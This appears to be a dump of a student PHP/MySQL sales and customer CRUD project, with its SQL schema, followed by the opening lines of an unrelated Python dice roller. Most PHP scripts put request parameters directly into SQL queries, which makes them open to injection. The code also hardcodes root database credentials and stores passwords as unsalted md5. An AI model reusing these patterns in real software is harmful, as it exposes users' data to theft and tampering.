$telefone = $_REQUEST[telefone];
$sexo = $_REQUEST[sexo];
//VALIDAÇÃO DE DADOS
if ($nomeCliente == ''){
echo json_encode(array( 'retorno' => '<font color=red><b>Nome do cliente obrigatório!</b></font>' ));
exit;
}
//MONTAGEM DO COMANDO SQL
$sql = "update cliente set nomeCliente = '$nomeCliente',
cpf = '$cpf',
telefone = '$telefone',
sexo = '$sexo'
where idCliente = $idCliente";
mysql_query($sql) or die();
echo json_encode(array( 'retorno' => 'Alterado com sucesso!' ));
}
//Action para deletar cliente____________________________________________________________________________
if ($acao == 'delete'){
//Capturada dados do formulario
$id = $_REQUEST[id];
$query = "DELETE FROM cliente WHERE idCliente = $id";
$result = mysql_query($query);
if ($result == 1){
echo "<script>alert('Exclusão realizada com sucesso!');</script>";
}else{
echo "<script>alert('Não foi possível excluir este produto, tente novamente mais tarde. Se o erro persistir contate o administrador do sistema!');</script>";
}
}
?><file_sep><?
include("conexao.php");
//Captura do parâmetro de ação
$acao = $_REQUEST['acao'];
//Action para gravar a venda
if ($acao == 'gravaVenda'){
$idCliente = $_REQUEST['idCliente'];
$idVendedor = $_REQUEST['idVendedor'];
$sql="insert into venda(idCliente,idVendedor,dataVenda)
values($idCliente,$idVendedor,now())";
mysql_query($sql) or die("erro na gravação");
echo json_encode(array('idVenda'=>mysql_insert_id()));
}
//Action para idProduto retornar o preço de venda
if ($acao == 'buscarPreco'){
$idProduto = $_REQUEST['id'];
$sql = "select preco from Produto
where idProduto = $idProduto";
$rs = mysql_query($sql);
$reg = mysql_fetch_array($rs);
echo json_encode(array( 'preco'=>$reg['preco'] ));
}
//Action para gravar o item vendido
if ($acao == 'gravaItem'){
$idVenda = $_REQUEST['idVenda'];
$idProduto = $_REQUEST['idProduto'];
$quant = $_REQUEST['quant'];
$precoVenda = $_REQUEST['precoVenda'];
$desconto = $_REQUEST['desconto'];
$sql="insert into ItemVenda(idVenda,idProduto,quant,precoVenda,desconto)
values($idVenda,$idProduto,$quant,$precoVenda,$desconto)";
mysql_query($sql)or die("erro na gravação");
echo json_encode(array('idItemVenda'=>mysql_insert_id()));
}
//Action para calcular o total da Venda
if ($acao == 'totalVenda'){
$idVenda = $_REQUEST['idVenda'];
$sql = "select sum(quant*precoVenda-desconto) total
from itemvenda where idVenda=$idVenda";
$rs = mysql_query($sql);
$reg = mysql_fetch_array($rs);
echo json_encode(array( 'total' => '<font color=red><b>' . $reg['total'] . '</b></font>'));
}
//Action para deletar o item Vendido
if ($acao == 'deletaItem'){
$idItemVenda = $_REQUEST['idItemVenda'];
$idVenda = $_REQUEST['idVenda'];
$sql="delete from ItemVenda where idItemVenda = $idItemVenda";
mysql_query($sql,$conexao);
$queryCount = "SELECT COUNT(idItemVenda) as count
FROM itemVenda
WHERE idVenda = $idVenda";
$resultSetCount = mysql_query($queryCount);
$rowCount = mysql_fetch_array($resultSetCount);
$count = $rowCount['count'];
echo json_encode(array('retorno'=>$count));
}
//Action para deletar a venda toda
if ($acao == 'deletaVenda'){
$idVenda = $_REQUEST['idVenda'];
$sql="delete from ItemVenda where idVenda = $idVenda";
mysql_query($sql);
$sql="delete from Venda where idVenda = $idVenda";
mysql_query($sql);
$retorno = 1;
echo json_encode(array('retorno'=>$retorno));
}
?><file_sep>
<?php
include "conexao.php";
//captura os dados do formulário
$nome = $_REQUEST["txtNome"];
$senha = $_REQUEST["txtSenha"];
//Montagem do comando SQL
$sql = "select nome_usuario, senha, bloqueado
from usuario
where nome_usuario = '$nome' and senha = md5 ('$<PASSWORD>')";
//Execução do comando SQL
$recordSet = mysql_query($sql,$conexao);
//Verificar se retornou registros
$nro_registros = mysql_num_rows($recordSet);
if($nro_registros == 0){
echo "NÃO ACHOU!";
} else{
/* $linha=mysql_fetch_row($recordSet);
$nome=$linha[0];
$senha=$linha[1];
$bloqueado=$linha[2];
echo "Nome=$nome Senha=$senha Bloqueado=$bloqueado"; */
$linha=mysql_fetch_array($recordSet);
$nome=$linha["nome_usuario"];
$senha=$linha["senha"];
$bloqueado=$linha["bloqueado"];
echo "nome=$nome senha=$senha bloqeuado=$bloqueado";
}
?><file_sep><?php
include_once('conexao.php');
$page = $_GET['page'];
$limit = $_GET['rows'];
$sidx = $_GET['sidx'];
$sord = $_GET['sord'];
$where = " WHERE 1 = 1 ";
if( $_GET['txtNomeCliente'] != "" ){
$where .= " AND nomeCliente like '%".$_GET['txtNomeCliente']."%' ";
}
//Quantidade de registros a serem paginados na grid
$queryCount = "SELECT COUNT(idVenda) as count
FROM venda INNER JOIN cliente
ON cliente.idCliente = venda.idCliente
$where";
$resultSetCount = mysql_query($queryCount);
$rowCount = mysql_fetch_array($resultSetCount);
$count = $rowCount['count'];
if( $count>0 ){
$total_pages = ceil($count/$limit);
}else{
$total_pages = 0;
}
if ($page > $total_pages) $page=$total_pages;
$start = $limit*$page - $limit;
$query = "SELECT idVenda,
dataVenda,
nomeCliente,
nomeVendedor,
(select SUM(precoVenda*quant-desconto)
from itemVenda
where itemVenda.idVenda=venda.idVenda) total
FROM
cliente INNER JOIN
(vendedor INNER JOIN venda
ON vendedor.idVendedor=venda.idVendedor)
ON cliente.idCliente=venda.idCliente
$where
ORDER BY $sidx $sord
LIMIT $start , $limit";
$resultSet = mysql_query($query);
$response->page = $page;
$response->total = $total_pages;
$response->records = $count;
$i=0;
while( $row = mysql_fetch_array($resultSet) ){
$response->rows[$i]['idVenda']=$row['idVenda'];
$response->rows[$i]['dataVenda']=$row['dataVenda'];
$response->rows[$i]['nomeCliente']=$row['nomeCliente'];
$response->rows[$i]['nomeVendedor']=$row['nomeVendedor'];
$response->rows[$i]['total']=$row['total'];
$i++;
}
echo json_encode($response);
?><file_sep><?php
$response->page = 1;
$response->total = 1;
$response->records = 0;
$response->rows[$i]['idItemVenda']=$row['idItemVenda'];
$response->rows[$i]['nomeProduto']=$row['nomeProduto'];
$response->rows[$i]['quant']=$row['quant'];
$response->rows[$i]['precoVenda']=$row['precoVenda'];
$response->rows[$i]['desconto']=$row['desconto'];
$response->rows[$i]['total']=$row['total'];
echo json_encode($response);
?><file_sep><?php
mysql_connect('localhost', 'root', 'jesus') or die('Erro ao conectar com o servidor');
mysql_select_db('web1') or die('Erro ao conectar com o banco de dados');
$rs = mysql_query("SELECT * FROM categoria ORDER BY nomeCategoria");
?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title>Atualizando combos com jquery</title>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<script type="text/javascript" src="js/jquery-ui-1.8.17.custom/js/jquery-1.7.1.min.js"></script>
<script type="text/javascript">
$(document).ready(function(){
$('#idCategoria').change(function(){
$('#produto').load('preenche_combo.php?idCategoria='+$('#idCategoria').val());
});
});
</script>
</head>
<body>
<h1>Atualizando combos com jquery</h1>
<label>Categoria:</label>
<select name="idCategoria" id="idCategoria">
<?php while($reg = mysql_fetch_object($rs)): ?>
<option value="<?php echo $reg->idCategoria ?>"><?php echo $reg->nomeCategoria ?></option>
<?php endwhile; ?>
</select>
<br /><br />
<div id="produto"></div>
</body>
</html>
<file_sep><?php
include('conexao.php');
//Captura do "id"
$idCliente = $_REQUEST[id];
//Pesquisar o Produto referente ao "id" passado pela JGrid
$rs1 = mysql_query("select * from cliente where idCliente=$idCliente");
$reg1 = mysql_fetch_object($rs1);
?>
<html>
<head>
<script type="text/javascript" src="js/jquery.form.js"></script>
<script type="text/javascript" src="js/jquery-ui-1.8.17.custom/js/jquery-1.7.1.min.js"></script>
<script>
function editaCliente(){
$.ajax({
type:"POST",
url:"clienteAction.php?acao=editaCliente",
dataType:"json",
data:{idCliente:$("#idCliente").val(),
nomeCliente:$("#txtNomeCliente").val(),
cpf:$("#txtCpf").val(),
telefone:$("#txtTelefone").val(),
sexo:$("#txtSexo").val() },
success: function(data, textStatus, request){
$("#retorno").html(data['retorno']);
}
});
}
function voltarInicio(){
window.location = "index.php";
}
</script>
</head>
<body>
<form>
<input hidden type="text" name="idCliente" id="idCliente" value="<?=$idCliente?>">
<table>
<tr><td>Nome do Cliente</td>
<td><input type='text' name='txtNomeCliente' id='txtNomeCliente'
value='<?=$reg1->nomeCliente?>'></td>
</tr>
<tr><td>Cpf</td>
<td><input type='text' name='txtCpf' id='txtCpf'
value='<?=$reg1->cpf?>'></td>
</tr>
<tr><td>Telefone</td>
<td><input type='text' name='txtTelefone' id='txtTelefone'
value='<?=$reg1->telefone?>'></td>
</tr>
<tr><td>Sexo</td>
<td><input type='text' name='txtSexo' id='txtSexo'
value='<?=$reg1->sexo?>'></td>
</tr>
<tr><td><input type="button" name="btnSalvar" id="btnSalvar"
value="Salvar" onClick="editaCliente()"></td>
<td><input type="reset" value="Limpar"></td>
<td><input type="button" value="inicio" onClick="voltarInicio()"></td>
</tr>
</table>
<div name="retorno" id="retorno"></div>
</form>
</body>
</html><file_sep># DesenvolvimentoWeb
Curso de Análise e Desenvolvimento de Sistemas, CRUD completo.
<file_sep><?php
echo "<select>";
for ($i=1 ; $i <= 31 ; $i++) {
echo "<option value=$i> $i </option>";
}
echo "</select>";
?><file_sep><!DOCTYPE html>
<html lang="en">
<head>
<title>Vendas</title>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7"/>
<script type="text/javascript" src="js/jquery-ui-1.8.17.custom/js/jquery-1.7.1.min.js"></script>
<link rel="stylesheet" href="js/jquery-ui-1.8.17.custom/css/smoothness/jquery-ui-1.8.17.custom.css">
<script src="js/jquery-ui-1.8.17.custom/development-bundle/ui/jquery.ui.core.js" type="text/javascript"></script>
<script src="js/jquery-ui-1.8.17.custom/development-bundle/ui/jquery.ui.widget.js" type="text/javascript"></script>
<script src="js/jquery-ui-1.8.17.custom/development-bundle/ui/jquery.ui.button.js" type="text/javascript"></script>
<script src="js/jquery-ui-1.8.17.custom/development-bundle/ui/jquery.ui.datepicker.js" type="text/javascript"></script>
<script type="text/javascript" src="js/jquery.form.js"></script>
<script src="js/jquery.jqGrid-3.8.2/js/i18n/grid.locale-pt-br.js" type="text/javascript"></script>
<script src="js/jquery.jqGrid-3.8.2/js/jquery.jqGrid.min.js" type="text/javascript"></script>
<link href="js/jquery.jqGrid-3.8.2/css/ui.jqgrid.css" rel="stylesheet" type="text/css"/>
<script>
$(function() {
jQuery("#vendasGrid").jqGrid({
url:'ajaxListarVendas.php',
datatype:'json',
mtype:'GET',
jsonReader:
{'repeatitems':false},
pager:'#vendasPagerGrid',
rowNum:10,
rowList:
[10,20,30,40,50,60,70,80,90,100],
sortable:true,
viewrecords:true,
gridview:true,
autowidth:true,
height:370,
shrinkToFit:true,
forceFit:true,
hidegrid:false,
sortname:'dataVenda',
sortorder:'desc',
caption: "Vendas",
colModel:[
{label:'Cód.',width:60,align:'center',name:'idVenda'},
{label:'Data Venda',width:200,align:'center',name:'dataVenda'},
{label:'Nome do Cliente',width:300,align:'left',name:'nomeCliente'},
{label:'Nome do Vendedor',width:200,align:'left',name:'nomeVendedor'},
{label:'Total',width:200,align:'right',name:'total'}
]
});
jQuery("#vendasGrid").jqGrid('navGrid', '#vendasPagerGrid', {del:false,add:false,edit:false,search:false,refresh:true} );
//cadastro de Venda
$("#btnCadastrar").click(function(){
window.location = "vendaCad.php";
})
$("#btnEditar").click(function(){
var linhaSelecionada = jQuery("#produtosGrid").getGridParam('selrow');
var id = jQuery("#produtosGrid").getCell(linhaSelecionada,0);
if(id != null){
window.location = "/produtos/produtoEdit.php?id="+id;
}else{
}
})
$("#btnDeletar").click(function(){
var linhaSelecionada = jQuery("#vendasGrid").getGridParam('selrow');
var id = jQuery("#vendasGrid").getCell(linhaSelecionada,0);
if(linhaSelecionada != null){
if (confirm("Confirma a exclusão?") == true){
$('#objetoQualquer').load('vendaAction.php?acao=deletaVenda&idVenda='+id);
jQuery("#vendasGrid").jqGrid('setGridParam',{url:'ajaxListarVendas.php',page:1}).trigger('reloadGrid');
alert("Venda excluida com sucesso")
}
}else{
alert("Selecione um Registro");
}
})
jQuery("#btnPesquisar").click(function(){
var txtNome = $('#txtNomeCliente').val();
jQuery("#vendasGrid").jqGrid('setGridParam',{url:'ajaxListarVendas.php?txtNomeCliente='+txtNome ,page:1}).trigger('reloadGrid');
})
jQuery("#btnLimpar").click(function(){
$('#txtNomeProduto').val('');
jQuery("#produtosGrid").jqGrid('setGridParam',{url:'ajaxListarProdutos.php' ,page:1}).trigger('reloadGrid');
})
});
</script>
</head>
<body>
<?
//include("..\menu\index.html");
?>
<div id="botoes" style="padding:4px 4px 4px 4px; color:#666; font-size:12px; font-weight:bold;">
<input type="button" id="btnCadastrar" value="Cadastrar"/>
<input type="button" id="btnEditar" value="Editar"/>
<input type="button" id="btnDeletar" value="Deletar"/>
<input type="text" id="txtNomeCliente" name="txtNomeCliente"/>
<input type="button" id="btnPesquisar" value="Pesquisar"/>
<input type="button" id="btnLimpar" value="Limpar"/>
</div>
<table id="vendasGrid" ></table>
<div id="vendasPagerGrid"></div>
<div id="objetoQualquer"></div>
</body>
</html>
<file_sep><?php
include_once('conexao.php');
$page = $_GET['page'];
$limit = $_GET['rows'];
$sidx = $_GET['sidx'];
$sord = $_GET['sord'];
$where = " WHERE 1 = 1 ";
$idVenda = $_GET['idVenda'];
if( $idVenda > 0 ){
$where .= " AND idVenda = $idVenda ";
}
//Quantidade de registros a serem paginados na grid
$queryCount = "SELECT COUNT(idItemVenda) as count
FROM itemVenda INNER JOIN produto
ON produto.idProduto = itemVenda.idProduto
$where";
$resultSetCount = mysql_query($queryCount);
$rowCount = mysql_fetch_array($resultSetCount);
$count = $rowCount['count'];
if( $count>0 ){
$total_pages = ceil($count/$limit);
}else{
$total_pages = 0;
}
if ($page > $total_pages) $page=$total_pages;
$start = $limit*$page - $limit;
$query = "SELECT idItemVenda,nomeProduto,quant,precoVenda,desconto,
(precoVenda * quant - desconto) total
FROM itemVenda INNER JOIN produto
ON produto.idProduto = itemVenda.idProduto
$where
ORDER BY $sidx $sord
LIMIT $start , $limit";
$resultSet = mysql_query($query);
$response->page = $page;
$response->total = $total_pages;
$response->records = $count;
$i=0;
while( $row = mysql_fetch_array($resultSet) ){
$response->rows[$i]['idItemVenda']=$row['idItemVenda'];
$response->rows[$i]['nomeProduto']=$row['nomeProduto'];
$response->rows[$i]['quant']=$row['quant'];
$response->rows[$i]['precoVenda']=$row['precoVenda'];
$response->rows[$i]['desconto']=$row['desconto'];
$response->rows[$i]['total']=$row['total'];
$i++;
}
echo json_encode($response);
?><file_sep>create table usuario (
id_usuario int not null primary key auto_increment,
nome_usuario varchar(20) unique,
senha varchar(200),
bloqueado char(1)
);
insert into usuario(nome_usuario,senha,bloqueado)
values('admin', md5('jaburu'), 'N');<file_sep><?php
mysql_connect('localhost', 'root', 'jesus') or die('Erro ao conectar com o servidor');
mysql_select_db('web1') or die('Erro ao conectar com o banco de dados');
$idCategoria = $_GET['idCategoria'];
$rs = mysql_query("SELECT * FROM produto WHERE idCategoria = '$idCategoria' " .
" ORDER BY nomeProduto");
echo "<label>Produto: </label>";
echo "<select name='produto'>";
while($reg = mysql_fetch_object($rs)){
echo "<option value='$reg->idProduto'>$reg->nomeProduto</option>";
}
echo "</select>";
?><file_sep><?php
//Conexão com o banco de dados
include "conexao.php";
//Captura os dados do formulário
$nomeUsuario = $_REQUEST["txtNome"];
$senha = $_REQUEST["txtSenha"];
//Montagem do comando SQL
$sql = "INSERT INTO usuario(nome_usuario, senha)
VALUES('$nomeUsuario', md5('$senha'))";
//Execução do comando SQL
mysql_query($sql,$conexao) or die('ERRO!!');
//Retorno da mensagem
echo "Gravação concluída com sucesso!!!";
?><file_sep>create database unisys;
use unisys;
create table Categoria(
idCategoria int not null primary key auto_increment,
nomeCategoria varchar(30) unique) type=InnoDB;
create table Produto(
idProduto int not null primary key auto_increment,
nomeProduto varchar(30) unique,
idCategoria int,
preco numeric(10,2) check (preco >= 0),
estoque int check(estoque >= 0),
FOREIGN KEY (idCategoria) references Categoria(idCategoria) ON UPDATE CASCADE ON DELETE RESTRICT) type=InnoDB;
create table Vendedor(
idVendedor int not null primary key auto_increment,
nomeVendedor varchar(30),
comissao numeric(10,2)) type=InnoDB;
create table Cliente(
idCliente int not null primary Key auto_increment,
nomeCliente varchar(30),
cpf char(11) unique,
telefone varchar(12),
sexo char(1) check(sexo='M' or sexo='F')) type=InnoDB;
create table Venda(
idVenda int not null primary Key auto_increment,
idCliente int,
idVendedor int,
dataVenda datetime,
FOREIGN KEY (idCliente) references Cliente(idCliente) ON UPDATE RESTRICT ON DELETE RESTRICT,
FOREIGN KEY (idVendedor) references Vendedor(idVendedor) ON UPDATE RESTRICT ON DELETE RESTRICT) type=InnoDB;
create table ItemVenda(
idItemVenda int not null primary Key auto_increment,
idVenda int,
idProduto int,
quant int,
precoVenda numeric(10,2),
desconto numeric(10,2),
FOREIGN KEY (idVenda) references Venda(idVenda) ON UPDATE RESTRICT ON DELETE RESTRICT,
FOREIGN KEY (idProduto) references Produto(idProduto) ON UPDATE RESTRICT ON DELETE RESTRICT) type=InnoDB;
--Insert
insert into Categoria(nomeCategoria) values('Bebidas');
insert into Categoria(nomeCategoria) values('Brinquedos');
insert into Produto(nomeProduto,idCategoria, preco, estoque) values('Coca-Cola',1,5.50,100);
insert into Produto(nomeProduto,idCategoria, preco, estoque) values('<NAME>',2,100,10);
insert into Vendedor(nomeVendedor,comissao) values('Juvenal',3.5);
insert into Vendedor(nomeVendedor,comissao) values('Mesquita',2.5);
insert into Vendedor(nomeVendedor,comissao) values('<NAME>',3.5);
insert into Vendedor(nomeVendedor,comissao) values('<NAME>',2.5);
insert into Cliente(nomeCliente,cpf,telefone,sexo) values('<NAME>','93135505633','96310205','F');
insert into Cliente(nomeCliente,cpf,telefone,sexo) values('<NAME>','93135505634','99919876','M');
insert into Cliente(nomeCliente,cpf,telefone,sexo) values('<NAME>','08588427699','03432248887','M');
insert into Cliente(nomeCliente,cpf,telefone,sexo) values('<NAME>','12345678911','03499939984','F');
insert into Venda(idCliente, idVendedor, dataVenda) values(1,1,now());
insert into Venda(idCliente, idVendedor, dataVenda) values(1,1,now());
insert into Venda(idCliente, idVendedor, dataVenda) values(1,1,now());
insert into Venda(idCliente, idVendedor, dataVenda) values(2,1,now());
insert into Venda(idCliente, idVendedor, dataVenda) values(2,1,now());
insert into Venda(idCliente, idVendedor, dataVenda) values(2,1,now());
insert into Venda(idCliente, idVendedor, dataVenda) values(2,1,now());
insert into Venda(idCliente, idVendedor, dataVenda) values(1,1,now());
insert into Venda(idCliente, idVendedor, dataVenda) values(1,1,now());
insert into Venda(idCliente, idVendedor, dataVenda) values(1,1,now());
insert into Venda(idCliente, idVendedor, dataVenda) values(1,1,now());
insert into Venda(idCliente, idVendedor, dataVenda) values(1,1,now());
insert into Venda(idCliente, idVendedor, dataVenda) values(1,1,now());
insert into Venda(idCliente, idVendedor, dataVenda) values(1,1,now());
insert into Venda(idCliente, idVendedor, dataVenda) values(1,1,now());
insert into Venda(idCliente, idVendedor, dataVenda) values(1,1,now());
create table usuario(
idUsuario int primary key auto_increment,
nomeUsuario varchar(15),
senha varchar(150)
)type=InnoDB;
CREATE TABLE logradouro(
idLogradouro int primary key auto_increment,
cep char(8),
tipo varchar(10),
logradouro varchar(45),
bairro varchar(75),
cidade varchar(60),
uf char(2)
) type=InnoDB;
select idVenda,dataVenda,nomeVendedor,nomeCliente
from venda,cliente,vendedor
where venda.idCliente = cliente.idCliente and
venda.idVendedor = vendedor.idVendedor
order by dataVenda,nomeVendedor,nomeCliente desc;
select idVenda,dataVenda,nomeVendedor,nomeCliente
from venda inner join cliente on venda.idCliente = cliente.idCliente
inner join vendedor on venda.idVendedor = vendedor.idVendedor
order by dataVenda,nomeVendedor,nomeCliente desc
insert into itemVenda(idVenda,idProduto,precoVenda,quant,desconto)
values(1,1,4.5,10,5);
select id venda, dataVenda, nomeVendedor, nomeCliente
from venda
inner join vendedor ON venda.idVendedor = Vendedor.idVendedor
inner join cliente ON venda.idCliente = Cliente.idVendedor
<file_sep><?php
//LOCALHOST
$host = "127.0.0.1";
$login = "root";
$senha = "<PASSWORD>";
$banco = "web1";
//CONECTANDO AO SERVIDOR
$conexao = mysql_connect($host, $login, $senha);
//SELECIONA O BANCO DE DADOS
$db = mysql_select_db($banco);
?><file_sep><?php
//LOCALHOST
$hots = "127.0.0.1";
$login = "root";
$senha = "<PASSWORD>";
$banco = "unisys2";
//CONECTANDO AO SERVIDOR
$conexao = mysql_connect($hots, $login, $senha);
//SELECIONA O BANCO DE DADOS
$db = mysql_select_db($banco);
?><file_sep><?php
//Recordset para armazenar as categorias existentes
include('conexao.php');
$sql = "select -1 idCategoria, '--Escolha a categoria--' nomeCategoria
union
select idCategoria, nomeCategoria from categoria";
$rs = mysql_query($sql);
?>
<html>
<head>
<script type="text/javascript" src="js/jquery.form.js"></script>
<script type="text/javascript" src="js/jquery-ui-1.8.17.custom/js/jquery-1.7.1.min.js"></script>
<script>
function adicionaCategoria(){
$.ajax({
type:"POST",
url:"adicionaCategoria.php",
dataType:"json",
data:{nomeCategoria:$("#txtNomeCategoria").val(),
descricao:$("#txtDescricao").val()},
success: function(data, textStatus, request){
$("#retorno").html(data['retorno']);
}
});
}
function limpaForm(){
$("#retorno").html('');
$("#txtNomeCategoria").val('');
$("#txtDescricao").val('');
$("#txtNomeCategoria").focus();
}
</script>
</head>
<body>
<center><h3>Cadastro de Categoria</h3></center>
<hr>
<form>
<center>
<table>
<tr>
<td>Nome da Categoria</td>
<td><input type='text' name='txtNomeCategoria' id='txtNomeCategoria'></td>
</tr>
<tr>
<td>Descricao</td>
<td><input type='text' name='txtDescricao' id='txtDescricao'></td>
</tr>
<tr>
<td>
<input type="button" name="btnSalvar" id="btnSalvar" value="Salvar" onClick="adicionaCategoria()">
</td>
<td><input type="button" name="btnLimpar" id="btnLimpar" value="Limpar" onClick="limpaForm()"></td>
</tr>
</table>
<div name="retorno" id="retorno"></div>
</form>
</body>
</html> | bc8218a626c3539bba15648bacaeccf0d93d8611 | [
"Markdown",
"SQL",
"PHP"
] | 21 | PHP | AllKallel/DesenvolvimentoWeb | 4dc8ee423704c806443fa2df0c34e29665bf84f5 | df4b5d2b0ee1c752f1447886b9ab9d6ce6442075 | |
refs/heads/master | <repo_name>Arangam/DunsMartEmail<file_sep>/src/main/java/com/dnbi/email/DunsMartEmailMain.java
/**
*
*/
package com.dnbi.email;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
/**
* @author anil_
*
*/
@SpringBootApplication
public class DunsMartEmailMain {
/**
* @param args
*/
public static void main(String[] args) {
// TODO Auto-generated method stub
SpringApplication.run(DunsMartEmailMain.class, args);
}
}
<file_sep>/src/main/java/com/dnbi/email/util/EmailUtils.java
/**
*
*/
package com.dnbi.email.util;
import java.io.IOException;
import java.util.Date;
import java.util.Properties;
import javax.mail.Message;
import javax.mail.MessagingException;
import javax.mail.Multipart;
import javax.mail.PasswordAuthentication;
import javax.mail.Session;
import javax.mail.Transport;
import javax.mail.internet.AddressException;
import javax.mail.internet.InternetAddress;
import javax.mail.internet.MimeBodyPart;
import javax.mail.internet.MimeMessage;
import javax.mail.internet.MimeMultipart;
/**
* @author anil_
*
*/
public class EmailUtils {
public static void sendEmail() throws AddressException, MessagingException, IOException{
Properties props = new Properties();
props.put("mail.smtp.auth", "true");
props.put("mail.smtp.starttls.enable", "true");
props.put("mail.smtp.host", "smtp.gmail.com");
props.put("mail.smtp.port", "587");
Session session = Session.getInstance(props, new javax.mail.Authenticator() {
protected PasswordAuthentication getPasswordAuthentication() {
return new PasswordAuthentication("<EMAIL>", "<PASSWORD>1<PASSWORD>");
}
});
Message msg = new MimeMessage(session);
msg.setFrom(new InternetAddress("<EMAIL>", false));
msg.setRecipients(Message.RecipientType.TO, InternetAddress.parse("<EMAIL>"));
msg.setSubject("Reg. GTS Feed File Processing");
msg.setContent("Feed File Processing", "text/html");
msg.setSentDate(new Date());
MimeBodyPart messageBodyPart = new MimeBodyPart();
messageBodyPart.setContent("Feed File Processing", "text/html");
Multipart multipart = new MimeMultipart();
multipart.addBodyPart(messageBodyPart);
MimeBodyPart attachPart = new MimeBodyPart();
attachPart.attachFile("C:\\AnilKumarLatest\\2021-Learning\\Technical Skills to be imparted.txt");
multipart.addBodyPart(attachPart);
msg.setContent(multipart);
Transport.send(msg);
}
}
| 53ce6128a8730ed1dcc70f41e5887d521bd6279d | [
"Java"
] | 2 | Java | Arangam/DunsMartEmail | 2b31e183cc8e106fdc4f1ecd5ebdf8a8a3032d48 | 861253b130765028b1420f01820bbce4ad610ce4 | |
refs/heads/master | <repo_name>kfleming123/edx_intro_to_comp_sci_mit<file_sep>/README.md
# edx_intro_to_comp_sci_mit
## Completed programming assignments in MIT's Introduction to Computer Science on edX.
**Assignment 1:** Various programs dealing with strings.<br>
**Assignment 2:** Calculating repayment of loans on a monthly basis given an interest rate.<br>
**Assignment 3:** Hangman.<br>
**Assignment 4:** Simplified Scrabble.<br>
**Assignment 5:** Cypher.
<file_sep>/problem_set1_question1.py
# Problem Set 1, Problem 1
"""
Prints a count of the number of vowels contained in the string s.
Valid vowels are: 'a', 'e', 'i', 'o', and 'u
"""
def vowel_count(s):
vowels = 0
for i in s:
if i == 'a' or i == 'e' or i == 'i' or i == 'o' or i == 'u':
vowels += 1
print("Number of vowels: " + str(vowels))
vowel_count('testing')<file_sep>/problem_set2_question1.py
# Problem Set 2, Question 1
"""
Calculates the credit card balance after one year if a person only pays the
minimum monthly payment required by the credit card company each month.
The following inputs contain values as described below:
balance - the outstanding balance on the credit card
annualInterestRate - annual interest rate as a decimal
monthlyPaymentRate - minimum monthly payment rate as a decimal
Returns remaining balance based on inputs.
"""
def balance_one_year(balance, interest_rate, monthly_min):
interest = interest_rate / 12
for i in range(12):
balance -= monthly_min*balance
balance += interest*balance
answer = "Remaining balance: $" + str(round(balance, 2))
return answer
balance_one_year(42, 0.2, 0.04)
<file_sep>/problem_set2_question3.py
# Problem Set 2, Question 2
"""
Calculates the minimum fixed monthly payment needed in order pay off a credit
card balance within 12 months.
The following inputs contain values as described below:
balance - the outstanding balance on the credit card
annualInterestRate - annual interest rate as a decimal
Returns the lowest monthly payment that will pay off all debt in under 1 year.
"""
def min_monthly_bisection(balance, annualInterestRate):
interest = annualInterestRate / 12
remainder = 1
lower_bound = balance / 12
upper_bound = (balance * (1 + interest)**12 / 12)
while remainder > 0:
guess = (lower_bound + upper_bound) / 2
test_balance = balance
for i in range(12):
test_balance -= guess
test_balance += interest*test_balance
if round(test_balance, 2) == 0:
break
elif round(test_balance, 2) > 0:
lower_bound = guess
else:
upper_bound = guess
return("Lowest Payment: {:.2f}".format(guess))
min_monthly_bisection(500, 0.15)<file_sep>/problem_set2_question2.py
# Problem Set 2, Question 2
"""
Calculates the minimum fixed monthly payment needed in order pay off a credit
card balance within 12 months.
The following inputs contain values as described below:
balance - the outstanding balance on the credit card
annualInterestRate - annual interest rate as a decimal
Returns the lowest monthly payment (in increments of $10) that will pay off
all debt in under 1 year.
"""
def min_monthly(balance, annualInterestRate):
interest = annualInterestRate / 12
guess = 10
remainder = 1
while remainder > 0:
test_balance = balance
for i in range(12):
test_balance -= guess
test_balance += interest*test_balance
if test_balance <= 0:
break
guess +=10
return("Lowest Payment: {:.2f}".format(guess))
min_monthly(500, 0.15)<file_sep>/problem_set1_question3.py
# Problem Set 1, Problem 3
"""
Prints the longest substring of s in which the letters occur in alphabetical order.
For example, if s = 'azcbobobegghakl', then your program should print:
Longest substring in alphabetical order is: beggh
In the case of ties, print the first substring.
For example, if s = 'abcbcd', then your program should print:
Longest substring in alphabetical order is: abc
"""
def alph_substring(s):
ans_string = s[0]
# Loop over all possible lengths of a substring
for i in range(2, len(s) + 1):
index_1 = 0
# Loop over all possible substrings of size i
for j in range(len(s) - i + 1):
# Start with index = 0 and define substring as ss
count = 0
ss = s[index_1:index_1 + i]
index_2 = 0
for k in range(len(ss) - 1):
if ss[index_2] > ss[index_2 + 1]:
count += 1
index_2 += 1
# If in alphabetical order, update the answer string
if count == 0:
ans_string = ss
break
index_1 += 1
print(ans_string)
alph_substring('azcbobobegghakl')<file_sep>/problem_set1_question2.py
# Problem Set 1, Problem 2
"""
Prints a count of the number of times the string 'bob' occurs in string s.
"""
def bob_count(s):
ans = 0
for i in range(len(s) - 2):
if s[i:i+3] == 'bob':
ans += 1
print("Number of times bob occurs is: " + str(ans))
bob_count('testinbobobgbob') | 65132c0c10b94bd2cc8f0dba55b3a7e97630b5f4 | [
"Markdown",
"Python"
] | 7 | Markdown | kfleming123/edx_intro_to_comp_sci_mit | 121f52bd0fe3b2a5756eb46dc3974fb99cee52f3 | 923dc1afa7b2368176cfa51e81744224d2d21681 | |
refs/heads/master | <file_sep>const express = require('express');
const router = express.Router();
const Movie = require('../models/movie.model')
/* GET movies */
router.get('/:id', (req, res, next) => {
console.log(req.params.id)
Movie
.findById(req.params.id)
.then(obj => res.render('details', {obj: obj}))
.catch(err => console.log('el error en la BBDD es', err))
})
module.exports = router;
| a5842e0b4967025ad0504ba12a0f3b28c18e0f79 | [
"JavaScript"
] | 1 | JavaScript | RodrigoPerezGarces/lab-express-cinema | 89d026ac8d88e48ade09e2526354e8ad565bd80e | 47d6e0c65f2921336f88988ad5992bc6a5ad262d | |
refs/heads/master | <repo_name>cmhansen125/Python-Dice-Roller<file_sep>/Guts.py
import random
class guts:
def __init__(self, size):
self.__size = size
def get_size(self):
return self.__size
def __str__(self): #returns rolled dice number as a string
returnString = str(random.randint(1, self.get_size()))
return returnString
<file_sep>/Main.py
import tkinter
from tkinter import *
from Guts import guts
def main():
window = tkinter.Tk() #general windown and top frame
